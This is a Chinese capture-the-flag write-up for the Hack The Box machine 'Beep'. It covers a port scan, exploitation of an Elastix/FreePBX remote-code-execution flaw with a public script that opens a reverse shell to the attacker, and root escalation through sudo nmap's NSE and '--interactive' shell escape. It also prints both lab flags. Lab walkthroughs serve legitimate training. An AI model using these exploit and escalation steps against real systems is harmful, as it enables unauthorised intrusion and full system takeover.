![](https://i-blog.csdnimg.cn/blog_migrate/ba3e87ae4f4976819a908c51719139dc.png)
OS:Linux
DIFFICULTY:Easy
0x01 信息收集
使用naabu扫描目标服务器端口
./naabu -host 10.10.10.7 -tp 1000 -nmap-cli 'nmap -sV'
__
___ ___ ___ _/ / __ __
/ _ \/ _ \/ _ \/ _ \/ // /
/_//_/\_,_/\_,_/_.__/\_,_/
projectdiscovery.io
[INF] Current naabu version 2.1.5 (latest)
[INF] Running host discovery scan
[INF] Running SYN scan with CAP_NET_RAW privileges
[INF] Found 12 ports on host 10.10.10.7 (10.10.10.7)
10.10.10.7:25
10.10.10.7:3306
10.10.10.7:10000
10.10.10.7:111
10.10.10.7:22
10.10.10.7:4445
10.10.10.7:143
10.10.10.7:993
10.10.10.7:80
10.10.10.7:110
10.10.10.7:995
10.10.10.7:443
[INF] Running nmap command: nmap -sV -p 993,10000,22,4445,143,80,110,443,111,25,3306,995 10.10.10.7
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-02 22:22 CST
Nmap scan report for localhost (10.10.10.7)
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.2.3
110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
111/tcp open rpcbind 2 (RPC #100000)
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
993/tcp open ssl/imap Cyrus imapd
995/tcp open pop3 Cyrus pop3d
3306/tcp open mysql MySQL (unauthorized)
4445/tcp open upnotifyp?
10000/tcp open http MiniServ 1.570 (Webmin httpd)
Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 197.87 seconds
接下来绑定hosts
echo '10.10.10.7 beep.htb' >> /etc/hosts
该靶场扫描出多个端口,接下来我们先根据服务名称和版本号查询一下相关漏洞
搜索一圈好像也没有发现什么能利用的漏洞,暂时先放一放,先看web
访问web后发现这是一个 Elastix
的系统。Elastix 是一个开源的统一通信服务器,它由 PaloSanto Solutions 开发并在 GPL 许可证下发布。Elastix 集成了多种通信工具,包括 IP PBX、邮件服务器、即时通讯、传真和协作功能。
https://beep.htb/
明确了方向后,接下来搜索一下Elastix的相关历史漏洞,共搜索到了7个该系统相关的历史漏洞
0x02 漏洞利用
接下来进行漏洞利用,由于没有登录进系统也很难判断系统的版本号是多少,所以我们先来试一试最后一个远程代码执行漏洞FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution
,看看能不能进行利用
在github中搜索关键词:Elastix exp
,找到以下漏洞利用的项目
https://github.com/k4miyo/FreePBX-Elastix-RCE-exploit
使用也很简单,通过指定rhost、lhost、lport就可以执行了
将利用脚本下载到本地后,先安装pip依赖
pip3 install -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com pwn
执行以下命令进行漏洞利用,成功拿下普通用户权限
python elastix_rce.py --lhost 10.10.14.18 --lport 65001 --rhost 10.10.10.7
接下来 执行以下命令获得user的flag
find / -name "user.txt"
cat /home/fanis/user.txt
flag:
3ecaa69438fe1a828981f566dd11e1b1
0x03 权限提升
接下来进行权限提升,执行以下命令
sudo -l
Matching Defaults entries for asterisk on this host:
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY"
User asterisk may run the following commands on this host:
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/bin/yum
(root) NOPASSWD: /bin/touch
(root) NOPASSWD: /bin/chmod
(root) NOPASSWD: /bin/chown
(root) NOPASSWD: /sbin/service
(root) NOPASSWD: /sbin/init
(root) NOPASSWD: /usr/sbin/postmap
(root) NOPASSWD: /usr/sbin/postfix
(root) NOPASSWD: /usr/sbin/saslpasswd2
(root) NOPASSWD: /usr/sbin/hardware_detector
(root) NOPASSWD: /sbin/chkconfig
(root) NOPASSWD: /usr/sbin/elastix-helper
好家伙有这么多命令可以以root权限免密执行,而且这台靶机上竟然还装了nmap,那么我们就可以通过以下方式来进行权限提升:
第一种方式:编写NSE脚本进行提权
可以编写一个 NSE 脚本,nmap
支持使用 --script
参数来执行 NSE 脚本,使用 sudo
命令来以 root
用户的身份运行 nmap
并执行该脚本
sudo ehco 'os.execute("/bin/bash")' > /tmp/script.nse
sudo nmap --script=/tmp/script.nse
这些命令会创建一个 NSE 脚本,该脚本会在运行时执行
/bin/bash
命令。然后,它会使用sudo
命令来以root
用户的身份运行nmap
并执行该脚本,这将会获得一个root
权限的 shell。
结果尝试执行echo命令发现不能创建文件,而且只能在/tmp目录下面,不能cd到其他目录,使用sudo echo也无法创建文件,有点难受,不过nmap还有其他方式进行提权
第二种方式:使用interactive参数进行提权
- 执行
sudo nmap --interactive
命令进入nmap
的交互式模式。 - 在
nmap
的交互式模式下,执行!sh
命令,即可反弹一个具有 root 权限的 shell。这是因为!
命令可以在当前 shell 下执行指定的命令,而sh
命令可以启动一个新的 shell 进程。
执行以下命令成功提升到root权限!!!
sudo nmap --interactive
!sh
接下来获取root的flag
find / -name "root.txt"
cat /root/root.txt
flag:
a60d5947febadcd242e4ea7778bc8e97